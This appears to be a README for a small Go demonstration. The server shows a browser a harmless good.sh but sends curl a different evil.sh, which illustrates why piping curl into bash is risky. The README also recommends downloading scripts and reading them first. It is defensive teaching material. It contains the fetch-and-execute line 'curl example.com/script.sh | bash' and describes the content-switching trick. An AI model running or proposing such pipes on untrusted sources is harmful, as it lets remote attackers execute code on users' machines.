curl example.com/script.sh | bashPiping curl to shell is dangerous. you should never pipe untrusted data streams into bash.
This is a demonstration of when you pipe untrusted (malicious) data streams (that you may get by using curl) into bash.
you have to have Go installed on your system.
go run server.goIt serves on localhost:8080. when you open localhost:8080 on a web browser you find good.sh being read. while if you do the same with curl it shows the contents of evil.sh.
curl http://localhost:8080evil.sh could contain harmful code that may break your system or even worse.
The best way to avoid this kind of trouble is to not pipe untrusted scripts into bash. You should check their sha sum, read the script before running it.
# download the script into /tmp directory
curl -s example.com/script.sh > /tmp/script.sh
# read the script using cat,less or your favourite text editor.
cat script.sh